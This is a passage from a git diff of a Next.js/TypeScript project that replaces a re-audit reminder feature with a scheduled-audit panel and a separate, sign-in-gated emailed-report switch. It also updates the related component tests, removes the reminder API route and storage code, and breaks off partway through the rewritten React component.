{ value: "sidd@exosphere.host" }, + }); + fireEvent.click(screen.getByRole("button", { name: "send code" })); + fireEvent.change(await screen.findByPlaceholderText("123456"), { target: { value: "123456" } }); + fireEvent.click(screen.getByRole("button", { name: "verify" })); +} + +beforeEach(() => { + getViewMock.mockReset().mockResolvedValue(view()); + setAutoMock.mockReset().mockResolvedValue({ auto: true }); + setIntervalMock.mockReset().mockResolvedValue({ intervalDays: 7 }); + setEmailMock.mockReset().mockResolvedValue({ emailEnabled: true }); + stubFetch(); }); afterEach(() => { @@ -41,147 +100,130 @@ afterEach(() => { captureMock.mockClear(); }); -describe("ComeBackBetterSection shared AuthDialog copy", () => { - it("shows invite copy when an unauthed user clicks 'invite a friend'", async () => { +describe("scheduled audit panel", () => { + it("shows the daemon state, because 'on' without a daemon runs nothing", async () => { + getViewMock.mockResolvedValue(view({ daemon: "running" })); render(); - fireEvent.click(await screen.findByText("invite a friend")); - expect(await screen.findByText("Oops! Login required")).toBeInTheDocument(); - expect(screen.getByText("What's your email?")).toBeInTheDocument(); - // Reminder copy must not appear in the invite variant. - expect(screen.queryByText("where to route the reminder?")).toBeNull(); + expect(await screen.findByText("DAEMON RUNNING")).toBeInTheDocument(); }); - it("keeps the default reminder copy when an unauthed user picks a cadence", async () => { + it("warns when scanning is on but the daemon is not running", async () => { + // "on but silent" is the state a panel that hid this would produce, and it + // presents to the user as the feature simply not working. + getViewMock.mockResolvedValue(view({ auto: true, daemon: "not-installed" })); render(); - // Cadence buttons unlock once the status probe resolves to anon. - const sevenDay = await screen.findByRole("button", { name: "7d" }); - await waitFor(() => expect(sevenDay).not.toBeDisabled()); - fireEvent.click(sevenDay); - expect(await screen.findByText("where to route the reminder?")).toBeInTheDocument(); - expect(screen.getByText("we'll send a one-time code to confirm.")).toBeInTheDocument(); - // Invite copy must not appear in the reminder variant. - expect(screen.queryByText("Oops! Login required")).toBeNull(); + expect(await screen.findByText(/isn't installed/)).toBeInTheDocument(); }); -}); -// ── What happens AFTER the dialog succeeds ─────────────────────────────────── + it("toggles scheduled scanning without asking anyone to sign in", async () => { + // The offline promise: `auto` scans locally and needs no account. + render(); + const toggle = await screen.findByRole("switch", { name: "turn on scheduled scanning" }); + fireEvent.click(toggle); + await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(true)); + // No dialog, because nothing here needs an identity. + expect(screen.queryByPlaceholderText("you@yourdomain.com")).toBeNull(); + }); -/** Drive the shared AuthDialog through email → code → verified. */ -async function completeAuth(email = "sidd@exosphere.host") { - fireEvent.change(await screen.findByPlaceholderText("you@yourdomain.com"), { - target: { value: email }, + it("warns when emailed reports are on but the machine is signed out", async () => { + // Scans keep running and nothing can be sent — the exact state the reporter + // surfaces as "signed-out", made visible where it can be fixed. + getViewMock.mockResolvedValue(view({ emailEnabled: true, signedInAs: null })); + render(); + expect(await screen.findByText(/signed out — sign in to resume/)).toBeInTheDocument(); }); - fireEvent.click(screen.getByRole("button", { name: "send code" })); - fireEvent.change(await screen.findByPlaceholderText("123456"), { - target: { value: "123456" }, + + it("shows who a digest would go to when signed in", async () => { + getViewMock.mockResolvedValue( + view({ emailEnabled: true, signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), + ); + render(); + expect(await screen.findByText("sidd@exosphere.host")).toBeInTheDocument(); }); - fireEvent.click(screen.getByRole("button", { name: "verify" })); -} +}); -/** - * A fetch double that records every call and answers the three routes this - * component touches. Returns the recorder so a test can assert what was — and - * crucially what was NOT — requested. - */ -function stubAuthFetch() { - const calls: { url: string; method: string }[] = []; - vi.stubGlobal( - "fetch", - vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => { - const url = String(input); - const method = init?.method ?? "GET"; - calls.push({ url, method }); - const json = (body: unknown) => - new Response(JSON.stringify(body), { - status: 200, - headers: { "content-type": "application/json" }, - }); - if (url.includes("/api/auth/status")) { - return json({ authenticated: false, reminder: null }); - } - if (url.includes("/api/auth/login-request")) { - return json({ status: "code_sent", expires_in: 600, resend_available_in: 30 }); - } - if (url.includes("/api/auth/login-verify")) { - return json({ - authenticated: true, - user: { id: "u1", email: "sidd@exosphere.host" }, - }); - } - if (url.includes("/api/auth/reminder")) { - return json({ - authenticated: true, - reminder: { next_audit_at: 1, user_email: "sidd@exosphere.host", set_at: 0 }, - }); - } - return json({}); - }), - ); - return calls; -} +describe("the shared AuthDialog — copy", () => { + it("shows invite copy when an unauthed user clicks 'invite a friend'", async () => { + render(); + fireEvent.click(await screen.findByText("invite a friend")); + expect(await screen.findByText("Oops! Login required")).toBeInTheDocument(); + expect(screen.queryByText("where should the report go?")).toBeNull(); + }); -describe("ComeBackBetterSection resumes the CTA that opened the dialog", () => { - it("signing in from 'invite a friend' opens the invite dialog and sets NO reminder", async () => { - // The regression. `handleAuthed` was shared by both CTAs and unconditionally - // called persistReminder, so this exact path scheduled a 7-day reminder the - // user never asked for AND dropped the invite they did. - const calls = stubAuthFetch(); + it("shows report copy when an unauthed user turns emailed reports on", async () => { render(); + fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); + expect(await screen.findByText("where should the report go?")).toBeInTheDocument(); + expect(screen.queryByText("Oops! Login required")).toBeNull(); + }); +}); +describe("the shared AuthDialog — effect", () => { + it("signing in from 'invite a friend' opens the invite dialog and enables no email", async () => { + // The regression this file exists for. `handleAuthed` was shared by both + // controls and always did the other one's work. + render(); fireEvent.click(await screen.findByText("invite a friend")); await screen.findByText("Oops! Login required"); await completeAuth(); - // The intent is resumed: the invite dialog is now open. Asserted on its - // recipients field rather than a heading, so the test proves the user can - // actually get on with inviting rather than that some element appeared. expect( await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }), ).toBeInTheDocument(); - - // And nothing wrote a reminder. - expect( - calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), - ).toBe(false); + expect(setEmailMock).not.toHaveBeenCalled(); }); - it("signing in from a cadence button sets that reminder and opens no invite dialog", async () => { - // The other direction, so the fix cannot be "never persist a reminder". - const calls = stubAuthFetch(); + it("signing in from the email switch enables reports and opens no invite dialog", async () => { + // The other direction, so the fix cannot be "never enable anything". render(); - - const fourteenDay = await screen.findByRole("button", { name: "14d" }); - await waitFor(() => expect(fourteenDay).not.toBeDisabled()); - fireEvent.click(fourteenDay); - await screen.findByText("where to route the reminder?"); + fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); + await screen.findByText("where should the report go?"); await completeAuth(); - await waitFor(() => - expect( - calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), - ).toBe(true), - ); + await waitFor(() => expect(setEmailMock).toHaveBeenCalledWith(true)); + expect(screen.queryByPlaceholderText(/alice@x\.com/)).toBeNull(); }); - it("dismissing the dialog abandons the intent rather than deferring it", async () => { - // Otherwise the NEXT sign-in, from any CTA, resumes something the user + it("dismissing abandons the intent rather than deferring it", async () => { + // Otherwise the NEXT sign-in, from any control, resumes something the user // already walked away from. - const calls = stubAuthFetch(); render(); - - const sevenDay = await screen.findByRole("button", { name: "7d" }); - await waitFor(() => expect(sevenDay).not.toBeDisabled()); - fireEvent.click(sevenDay); - await screen.findByText("where to route the reminder?"); + fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); + await screen.findByText("where should the report go?"); fireEvent.click(screen.getByRole("button", { name: "cancel" })); - // Reopen from the OTHER CTA and complete auth. fireEvent.click(screen.getByText("invite a friend")); await screen.findByText("Oops! Login required"); await completeAuth(); expect( - calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), - ).toBe(false); + await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }), + ).toBeInTheDocument(); + expect(setEmailMock).not.toHaveBeenCalled(); + }); + + it("an already-signed-in user goes straight to the invite dialog", async () => { + getViewMock.mockResolvedValue( + view({ signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), + ); + render(); + fireEvent.click(await screen.findByText("invite a friend")); + expect(await screen.findByPlaceholderText(/alice@x\.com/)).toBeInTheDocument(); + expect(screen.queryByText("Oops! Login required")).toBeNull(); + }); +}); + +describe("signing out", () => { + it("turns emailed reports off with it", async () => { + // Leaving the switch on would leave a machine that scans, finds something, + // and has nothing to send it with — visible only by noticing no email ever + // arrives. + getViewMock.mockResolvedValue( + view({ emailEnabled: true, signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), + ); + setEmailMock.mockResolvedValue({ emailEnabled: false }); + render(); + fireEvent.click(await screen.findByRole("button", { name: "sign out" })); + await waitFor(() => expect(setEmailMock).toHaveBeenCalledWith(false)); }); }); diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index 62e59c24..ed2c5a7f 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -22,7 +22,6 @@ import { resolve } from "node:path"; import { LAYOUT_VERSION, auditDir, - auditReminderFile, auditScheduleFile, auditSessionFile, configFile, @@ -362,7 +361,7 @@ describe("layout 3 → 4", () => { runMigrations(3); expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("at"); - expect(JSON.parse(readFileSync(auditReminderFile(), "utf8")).user_email).toBe("a@b.c"); + expect(JSON.parse(readFileSync(legacy.auditReminder(), "utf8")).user_email).toBe("a@b.c"); expect(JSON.parse(readFileSync(auditScheduleFile(), "utf8")).next_due_at_ms).toBe(999); expect(existsSync(legacy.authJson())).toBe(false); diff --git a/__tests__/lib/api-server-client.test.ts b/__tests__/lib/api-server-client.test.ts index c67803db..a3232630 100644 --- a/__tests__/lib/api-server-client.test.ts +++ b/__tests__/lib/api-server-client.test.ts @@ -9,10 +9,8 @@ vi.mock("@/lib/telemetry", () => ({ import { AuthApiError, - cancelReminder, decodeJwt, requestLoginCode, - scheduleReminder, sendInvites, } from "@/lib/auth/api-server-client"; @@ -75,62 +73,6 @@ describe("api-server-client fetchWithTimeout telemetry", () => { }); }); -describe("scheduleReminder", () => { - const originalFetch = globalThis.fetch; - afterEach(() => { - globalThis.fetch = originalFetch; - trackEventMock.mockClear(); - }); - - it("POSTs /v0/reminders with the access token and returns the unwrapped reminder", async () => { - const reminder = { user_id: "u", email: "a@b.co", fire_at: 1, set_at: 0 }; - const fetchMock = vi.fn(async () => - new Response(JSON.stringify({ reminder }), { status: 200 }), - ) as unknown as typeof fetch; - globalThis.fetch = fetchMock; - - const out = await scheduleReminder("at-1", { in_days: 7 }); - expect(out).toEqual(reminder); - const [, init] = (fetchMock as unknown as { mock: { calls: [string, RequestInit][] } }).mock.calls[0]; - expect(init.method).toBe("POST"); - expect((init.headers as Record).authorization).toBe("Bearer at-1"); - }); - - it("throws AuthApiError on non-OK responses", async () => { - globalThis.fetch = vi.fn(async () => - new Response(JSON.stringify({ code: "rate_limited", message: "slow down" }), { status: 429 }), - ) as unknown as typeof fetch; - await expect(scheduleReminder("at-1", { in_days: 7 })).rejects.toBeInstanceOf(AuthApiError); - }); -}); - -describe("cancelReminder", () => { - const originalFetch = globalThis.fetch; - afterEach(() => { - globalThis.fetch = originalFetch; - trackEventMock.mockClear(); - }); - - it("DELETEs /v0/reminders with the access token and resolves on 204", async () => { - const fetchMock = vi.fn(async () => - new Response(null, { status: 204 }), - ) as unknown as typeof fetch; - globalThis.fetch = fetchMock; - - await expect(cancelReminder("at-1")).resolves.toBeUndefined(); - const [, init] = (fetchMock as unknown as { mock: { calls: [string, RequestInit][] } }).mock.calls[0]; - expect(init.method).toBe("DELETE"); - expect((init.headers as Record).authorization).toBe("Bearer at-1"); - }); - - it("throws AuthApiError on non-OK responses", async () => { - globalThis.fetch = vi.fn(async () => - new Response(JSON.stringify({ code: "unauthorized", message: "no" }), { status: 401 }), - ) as unknown as typeof fetch; - await expect(cancelReminder("at-1")).rejects.toBeInstanceOf(AuthApiError); - }); -}); - describe("sendInvites", () => { const originalFetch = globalThis.fetch; afterEach(() => { diff --git a/__tests__/lib/auth-store.test.ts b/__tests__/lib/auth-store.test.ts index 04ef3b69..f71b4e2d 100644 --- a/__tests__/lib/auth-store.test.ts +++ b/__tests__/lib/auth-store.test.ts @@ -5,15 +5,10 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { deleteAuth, - deleteReminder, getAuthFilePath, - getReminderFilePath, readAuth, - readReminder, writeAuth, - writeReminder, type StoredAuth, - type StoredReminder, } from "../../lib/auth/auth-store"; function fakeAuth(overrides: Partial = {}): StoredAuth { @@ -28,15 +23,6 @@ function fakeAuth(overrides: Partial = {}): StoredAuth { }; } -function fakeReminder(overrides: Partial = {}): StoredReminder { - return { - next_audit_at: Math.floor(Date.now() / 1000) + 7 * 86400, - user_email: "alice@example.com", - set_at: Math.floor(Date.now() / 1000), - ...overrides, - }; -} - describe("auth-store", () => { let dir: string; let originalAuthDir: string | undefined; @@ -113,55 +99,4 @@ describe("auth-store", () => { }); }); - describe("reminder", () => { - it("returns null when no reminder file exists", () => { - expect(readReminder()).toBeNull(); - }); - - it("round-trips a written reminder", () => { - const r = fakeReminder(); - writeReminder(r); - const out = readReminder(); - expect(out).toEqual(r); - }); - - it("scopes by user_email — the consumer enforces this", () => { - writeReminder(fakeReminder({ user_email: "bob@example.com" })); - const out = readReminder(); - expect(out?.user_email).toBe("bob@example.com"); - }); - - it("rejects shape mismatches as null", () => { - writeFileSync(getReminderFilePath(), JSON.stringify({ next_audit_at: "string" }), "utf-8"); - expect(readReminder()).toBeNull(); - }); - - it("deleteReminder removes the file", () => { - writeReminder(fakeReminder()); - expect(existsSync(getReminderFilePath())).toBe(true); - deleteReminder(); - expect(existsSync(getReminderFilePath())).toBe(false); - }); - - it("overwrites the existing reminder atomically", () => { - writeReminder(fakeReminder({ next_audit_at: 1 })); - writeReminder(fakeReminder({ next_audit_at: 2 })); - expect(readReminder()?.next_audit_at).toBe(2); - }); - - it("writes mode 0600 on the reminder file", () => { - writeReminder(fakeReminder()); - const mode = statSync(getReminderFilePath()).mode & 0o777; - // World- and group-read bits must be cleared — next-audit.json stores - // the user_email scoping key and gets the same hardening as auth.json. - expect(mode & 0o004).toBe(0); - expect(mode & 0o040).toBe(0); - }); - - it("atomic write leaves no .tmp siblings behind on success", () => { - writeReminder(fakeReminder()); - const leftover = readdirSync(dir).filter((f) => f.includes(".tmp")); - expect(leftover).toEqual([]); - }); - }); }); diff --git a/app/actions/get-scheduled-audit.ts b/app/actions/get-scheduled-audit.ts index a63b63f2..a860c2ac 100644 --- a/app/actions/get-scheduled-audit.ts +++ b/app/actions/get-scheduled-audit.ts @@ -22,6 +22,7 @@ import { readConfig } from "@/src/hooks/fp-config"; import { readAuditSchedule } from "@/src/audit/audit-schedule"; import { daemonServiceStatus, type DaemonServiceStatus } from "@/src/hooks/daemon-service"; import { readDashboardCacheMeta } from "@/src/audit/dashboard-cache"; +import { readAuth } from "@/lib/auth/auth-store"; export interface ScheduledAuditSchedule { nextDueAtMs: number | null; @@ -36,6 +37,17 @@ export interface ScheduledAuditView { auto: boolean; /** `[audit] interval_days`, already clamped to 1..90 by readConfig. */ intervalDays: number; + /** `[audit] email_enabled` — whether a scan that finds harm mails a digest. */ + emailEnabled: boolean; + /** + * Who this machine would mail, or null when signed out. + * + * Read from the local session file rather than round-tripped to the + * api-server: the file is the source of truth for who is signed in on this + * machine, and a settings panel that went blank because the network was down + * would be reporting on the wrong thing. + */ + signedInAs: { id: string; email: string } | null; /** The systemd/launchd service state. The scheduler cannot run without a * running daemon, so a settings page that hides this reads "on but silent". */ daemon: DaemonServiceStatus; @@ -52,9 +64,13 @@ export async function getScheduledAuditAction(): Promise { const schedule = readAuditSchedule(); const meta = readDashboardCacheMeta(); + const auth = readAuth(); + return { auto: config.audit.auto, intervalDays: config.audit.intervalDays, + emailEnabled: config.audit.emailEnabled, + signedInAs: auth ? { id: auth.user.id, email: auth.user.email } : null, daemon: daemonServiceStatus(), schedule: schedule ? { diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts index 8417fe70..f6dc8041 100644 --- a/app/actions/update-scheduled-audit.ts +++ b/app/actions/update-scheduled-audit.ts @@ -14,6 +14,7 @@ */ import { readConfig, updateConfig } from "@/src/hooks/fp-config"; +import { whoAmI } from "@/lib/auth/auth-store"; /** * Turn the scheduled scan on or off. @@ -42,3 +43,31 @@ export async function setAuditIntervalAction(days: number): Promise<{ intervalDa // clamp, not the raw input. return { intervalDays: readConfig().audit.intervalDays }; } + +/** + * Turn emailed harm digests on or off. + * + * A SEPARATE switch from `auto`, which is the point: `auto` scans this machine + * locally and needs no account, and `audit --help` promises that scan "runs + * fully offline — no account or network required". This is the one that makes + * anything leave the box. + * + * Turning it ON is refused without a session rather than silently accepted. The + * config would take the value happily, and the machine would then scan on a + * timer, find something, and have nothing to send it with — a switch that reads + * as on while doing nothing, discoverable only by noticing that no email ever + * arrives. The caller signs the user in first and retries. + * + * Turning it OFF never checks, because an expired session must not be able to + * trap someone into keeping a feature they want to disable. + */ +export async function setAuditEmailAction(enabled: boolean): Promise<{ emailEnabled: boolean }> { + if (enabled) { + const who = await whoAmI(); + if (!who) { + throw new Error("sign in before enabling emailed reports"); + } + } + const next = updateConfig({ audit: { emailEnabled: enabled } }); + return { emailEnabled: next.audit.emailEnabled }; +} diff --git a/app/api/auth/reminder/route.ts b/app/api/auth/reminder/route.ts deleted file mode 100644 index d8a45201..00000000 --- a/app/api/auth/reminder/route.ts +++ /dev/null @@ -1,213 +0,0 @@ -/** - * /api/auth/reminder - * - * GET — current reminder state (if any, scoped to the signed-in user) - * POST — set or update the next-audit reminder; requires an active session - * DELETE — clear the reminder - * - * Reminder timestamp lives in ~/.failproofai/next-audit.json. The dashboard - * AND the CLI can read it later (we just persist intent here; the actual - * email send is wired separately when the scheduler is built). - */ -import { NextRequest, NextResponse } from "next/server"; -import { - deleteReminder, - readReminder, - whoAmI, - writeReminder, -} from "@/lib/auth/auth-store"; -import { - AuthApiError, - cancelReminder, - scheduleReminder, -} from "@/lib/auth/api-server-client"; -import { initTelemetry, trackEvent } from "@/lib/telemetry"; - -export const dynamic = "force-dynamic"; - -const DEFAULT_OFFSET_DAYS = 7; -const MAX_OFFSET_DAYS = 365; - -export async function GET(): Promise { - const who = await whoAmI(); - const reminder = readReminder(); - if (!reminder) { - return NextResponse.json({ authenticated: !!who, reminder: null }); - } - // If the reminder belongs to a different user (or no one is signed in), - // surface it as null so the UI doesn't show "next audit set for alice" - // when bob is the current session. - if (!who || who.me.email !== reminder.user_email) { - return NextResponse.json({ authenticated: !!who, reminder: null }); - } - return NextResponse.json({ - authenticated: true, - reminder: { - next_audit_at: reminder.next_audit_at, - user_email: reminder.user_email, - set_at: reminder.set_at, - }, - }); -} - -interface SetBody { - /** Days from now until the reminder fires. Default: 7. */ - in_days?: unknown; - /** Absolute unix-seconds timestamp. Wins over in_days when both are sent. */ - at?: unknown; -} - -export async function POST(req: NextRequest): Promise { - await initTelemetry(); - const who = await whoAmI(); - if (!who) { - trackEvent("audit_reminder_set", { status: "unauthorized", source: "dashboard" }); - return NextResponse.json( - { code: "unauthorized", message: "Sign in before setting a reminder." }, - { status: 401 }, - ); - } - let body: SetBody = {}; - // Distinguish three cases: - // 1. empty body → defaults (7d from now) - // 2. malformed JSON → 400 Bad Request (don't silently swap to {}) - // 3. valid JSON, not obj → 400 Bad Request (arrays/primitives are not SetBody) - const raw = await req.text(); - if (raw.trim().length > 0) { - let parsed: unknown; - try { - parsed = JSON.parse(raw); - } catch { - trackEvent("audit_reminder_set", { - status: "validation_error", - source: "dashboard", - reason: "malformed_json", - user_id: who.me.id, - }); - return NextResponse.json( - { code: "validation_error", message: "Request body is not valid JSON." }, - { status: 400 }, - ); - } - if (parsed === null || typeof parsed !== "object" || Array.isArray(parsed)) { - trackEvent("audit_reminder_set", { - status: "validation_error", - source: "dashboard", - reason: "not_an_object", - user_id: who.me.id, - }); - return NextResponse.json( - { code: "validation_error", message: "Request body must be a JSON object." }, - { status: 400 }, - ); - } - body = parsed as SetBody; - } - const nowSecs = Math.floor(Date.now() / 1000); - const maxAt = nowSecs + MAX_OFFSET_DAYS * 86400; - let nextAuditAt: number; - if (typeof body.at === "number" && Number.isFinite(body.at)) { - nextAuditAt = Math.floor(body.at); - } else { - const offsetDays = - typeof body.in_days === "number" && Number.isFinite(body.in_days) - ? Math.max(1, Math.min(MAX_OFFSET_DAYS, Math.floor(body.in_days))) - : DEFAULT_OFFSET_DAYS; - nextAuditAt = nowSecs + offsetDays * 86400; - } - if (nextAuditAt <= nowSecs) { - trackEvent("audit_reminder_set", { - status: "validation_error", - source: "dashboard", - reason: "in_the_past", - user_id: who.me.id, - }); - return NextResponse.json( - { code: "validation_error", message: "Reminder must be in the future." }, - { status: 400 }, - ); - } - // Upper-bound guard: catches the common foot-gun where a caller passes - // `Date.now()` (ms) instead of unix-seconds — would otherwise persist a - // year-55000 reminder, render "in 19000000 days", and send nonsense - // fire_at to the upstream scheduler. - if (nextAuditAt > maxAt) { - trackEvent("audit_reminder_set", { - status: "validation_error", - source: "dashboard", - reason: "too_far_in_future", - user_id: who.me.id, - }); - return NextResponse.json( - { - code: "validation_error", - message: `Reminder must be within ${MAX_OFFSET_DAYS} days. Did you pass milliseconds instead of seconds?`, - }, - { status: 400 }, - ); - } - const reminder = { - next_audit_at: nextAuditAt, - user_email: who.me.email, - set_at: nowSecs, - }; - writeReminder(reminder); - // Forward to the api-server scheduler so it can deliver via SES. The local - // file is the dashboard/CLI source-of-truth; the api-server holds the - // delivery slot. We tolerate upstream failure — the local write already - // succeeded and the user gets a usable response. - let upstream: "scheduled" | "failed" | "skipped" = "skipped"; - let upstreamError: string | null = null; - try { - await scheduleReminder(who.auth.access_token, { at: nextAuditAt }); - upstream = "scheduled"; - } catch (err) { - upstream = "failed"; - upstreamError = - err instanceof AuthApiError - ? `${err.code}: ${err.message}`.slice(0, 200) - : err instanceof Error - ? err.message.slice(0, 200) - : String(err).slice(0, 200); - } - trackEvent("audit_reminder_set", { - status: "success", - source: "dashboard", - user_id: who.me.id, - offset_days: Math.round((nextAuditAt - nowSecs) / 86400), - upstream, - upstream_error: upstreamError, - }); - return NextResponse.json({ authenticated: true, reminder }); -} - -export async function DELETE(): Promise { - await initTelemetry(); - const who = await whoAmI(); - const existing = readReminder(); - deleteReminder(); - let upstream: "cancelled" | "failed" | "skipped" = "skipped"; - let upstreamError: string | null = null; - if (who) { - try { - await cancelReminder(who.auth.access_token); - upstream = "cancelled"; - } catch (err) { - upstream = "failed"; - upstreamError = - err instanceof AuthApiError - ? `${err.code}: ${err.message}`.slice(0, 200) - : err instanceof Error - ? err.message.slice(0, 200) - : String(err).slice(0, 200); - } - } - trackEvent("audit_reminder_cleared", { - source: "dashboard", - had_local_reminder: existing !== null, - user_id: who?.me.id ?? null, - upstream, - upstream_error: upstreamError, - }); - return NextResponse.json({ ok: true }); -} diff --git a/app/api/auth/status/route.ts b/app/api/auth/status/route.ts index 34d316bc..69497ea7 100644 --- a/app/api/auth/status/route.ts +++ b/app/api/auth/status/route.ts @@ -2,40 +2,30 @@ * GET /api/auth/status * * Returns the currently signed-in identity by reading the local - * `~/.failproofai/auth.json` cache. No round-trip to the api-server — the + * `~/.failproofai/audit/session.json` cache. No round-trip to the api-server — the * file is the source of truth for who is signed in on this machine. * This keeps the dashboard UI and the CLI consistent regardless of whether * the api-server is reachable. * - * Also returns the user's persisted re-audit reminder (if any). The reminder - * lives in ~/.failproofai/next-audit.json and is only surfaced when its - * `user_email` matches the active session — so swapping accounts via CLI - * does not leak a previous user's reminder into the dashboard. + * Reminders are gone: the machine now audits itself on a timer and mails a + * digest when it finds harm, so there is nothing to nudge anyone about. The + * scheduled-scan state lives in `getScheduledAuditAction`, which reads it from + * the config and the daemon rather than from here. */ import { NextResponse } from "next/server"; -import { readAuth, readReminder } from "@/lib/auth/auth-store"; +import { readAuth } from "@/lib/auth/auth-store"; export const dynamic = "force-dynamic"; export async function GET(): Promise { const auth = readAuth(); if (!auth) { - return NextResponse.json({ authenticated: false, reminder: null }, { status: 200 }); + return NextResponse.json({ authenticated: false }, { status: 200 }); } - const reminderRaw = readReminder(); - const reminder = - reminderRaw && reminderRaw.user_email === auth.user.email - ? { - next_audit_at: reminderRaw.next_audit_at, - user_email: reminderRaw.user_email, - set_at: reminderRaw.set_at, - } - : null; return NextResponse.json( { authenticated: true, user: { id: auth.user.id, email: auth.user.email }, - reminder, }, { status: 200 }, ); diff --git a/app/audit/_components/come-back-better-section.tsx b/app/audit/_components/come-back-better-section.tsx index 5c9036c8..f0fc4db4 100644 --- a/app/audit/_components/come-back-better-section.tsx +++ b/app/audit/_components/come-back-better-section.tsx @@ -3,24 +3,50 @@ /** * Section 05 — COME BACK BETTER. "build the habit." * - * Two side-by-side cards: + * Two panels, side by side: * - * • Reminder — set a reminder cadence (3d / 7d / 14d / 30d). The cadence - * selection persists through /api/auth/reminder. Anon users get the - * AuthDialog first; authed-with-existing-reminder users see the next - * audit date and can reset. + * • **Scheduled audit** — everything this machine does on a timer. The scan + * switch, how often, whether a scan that finds something mails you, who it + * would mail, and a way to run one now. + * • **Share with friends** — the invite. * - * • Unlock perks — share with N friends to unlock pro features for a - * month. UI only — invite tracking + entitlement is a follow-up; the - * button opens the same X share intent the poster uses. + * ## Why this absorbed /settings * - * Re-audit moves out of this section: a small inline "or re-audit now" - * link sits under the reminder card so the affordance survives without - * dominating the layout. + * The scheduled-audit controls lived on their own page, which meant the two + * questions a person has after reading their audit — "can this happen + * automatically" and "will it tell me" — were answered somewhere they had no + * reason to go. The controls now sit under the report they act on. `/settings` + * is gone rather than redirected: it held nothing else. + * + * ## Two switches, deliberately + * + * `auto` scans this machine on a timer and needs no account. `emailEnabled` + * sends a digest when a scan finds something harmful, and needs a sign-in. + * Collapsing them into one would make scheduled scanning require an account, + * and `audit --help` promises the scan "runs fully offline — no account or + * network required". Keeping them apart is what keeps that true. + * + * ## The dialog is shared, so intent is explicit + * + * Both the email switch and the invite button can open the same `AuthDialog`. + * `pendingAction` records WHICH, so signing in resumes the thing that was asked + * for. It used to be tracked only as the dialog's copy while the success + * handler always set a reminder, which is how signing in to send an invite + * scheduled a reminder instead. */ import { useCallback, useEffect, useRef, useState } from "react"; import { usePostHog } from "@/contexts/PostHogContext"; -import { isAbortError } from "@/lib/fetch-with-timeout"; +import { + getScheduledAuditAction, + type ScheduledAuditView, +} from "@/app/actions/get-scheduled-audit"; +import { + setAutoAuditAction, + setAuditEmailAction, + setAuditIntervalAction, +} from "@/app/actions/update-scheduled-audit"; +import { toast } from "@/app/components/toast"; +import { formatRelativeTime } from "@/lib/format-duration"; import { AuthDialog, type AuthedUser } from "./auth-dialog"; import { InviteDialog } from "./invite-dialog"; @@ -31,326 +57,419 @@ interface Props { score?: number; } -const DEFAULT_REMINDER_DAYS = 7; -const REMINDER_OPTIONS = [3, 7, 14, 30] as const; -type Cadence = typeof REMINDER_OPTIONS[number]; - const PERKS_PERK = "wanna know how your friends' agents score?"; -// The AuthDialog is shared by the reminder and invite CTAs. The reminder path -// keeps the dialog's default copy; the invite path swaps in login-required -// copy. Content only — the auth flow is identical for both. -const INVITE_AUTH_COPY = { - headline: "Oops! Login required", - subhead: "What's your email?", -} as const; - /** - * What the user was trying to do when the AuthDialog opened. - * - * `null` means the dialog is closed. Every other value is a thing to RESUME - * once auth succeeds — which is the point: the dialog is shared, so the only - * safe way for it to finish is to be told what it was opened for. + * Copy for the shared AuthDialog, DERIVED from the pending intent rather than + * stored beside it — so the words and the effect cannot disagree. */ -type PendingAction = - | null - /** Set a reminder at the cadence the user clicked. */ - | { kind: "reminder"; cadence: Cadence } - /** Open the invite dialog. */ - | { kind: "invite" }; - -/** The dialog's copy for a given intent. Derived, never stored separately. */ +type PendingAction = null | { kind: "invite" } | { kind: "email-optin" }; + function authCopyFor(action: PendingAction): { headline?: string; subhead?: string } { - return action?.kind === "invite" ? INVITE_AUTH_COPY : {}; + if (action?.kind === "invite") { + return { headline: "Oops! Login required", subhead: "What's your email?" }; + } + if (action?.kind === "email-optin") { + return { + headline: "where should the report go?", + subhead: "we'll send a one-time code to confirm.", + }; + } + return {}; } -type AuthStatus = - | { kind: "unknown" } - | { kind: "anon" } - | { kind: "authed"; user: { id: string; email: string } }; +const MIN_INTERVAL_DAYS = 1; +const MAX_INTERVAL_DAYS = 90; -interface Reminder { - next_audit_at: number; - user_email: string; - set_at: number; +function fmtAbsolute(iso: string): string { + return new Date(iso).toLocaleString(undefined, { + month: "short", + day: "numeric", + hour: "2-digit", + minute: "2-digit", + }); } -function daysUntil(unixSecs: number): number { - const nowSecs = Math.floor(Date.now() / 1000); - return Math.max(0, Math.ceil((unixSecs - nowSecs) / 86400)); +/** "in 6d" / "in 3h" / "now". `formatRelativeTime` only speaks past. */ +function fmtFuture(ms: number): string { + const diff = ms - Date.now(); + if (diff <= 0) return "now"; + if (diff < 3_600_000) return `in ${Math.max(1, Math.floor(diff / 60_000))}m`; + if (diff < 86_400_000) return `in ${Math.floor(diff / 3_600_000)}h`; + return `in ${Math.floor(diff / 86_400_000)}d`; } -function formatNextAudit(unixSecs: number): string { - const d = new Date(unixSecs * 1000); - return d.toLocaleDateString(undefined, { - weekday: "short", - month: "short", - day: "numeric", - }); +/** The switch /policies uses. Copied shape, not a new control. */ +function Toggle({ + enabled, + onChange, + disabled, + label, +}: { + enabled: boolean; + onChange: () => void; + disabled?: boolean; + label: string; +}) { + return ( + + ); } export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { const { capture } = usePostHog(); - const [authStatus, setAuthStatus] = useState({ kind: "unknown" }); - const [reminder, setReminder] = useState(null); - const [cadence, setCadence] = useState(DEFAULT_REMINDER_DAYS); + + const [view, setView] = useState(null); + const [auto, setAuto] = useState(false); + 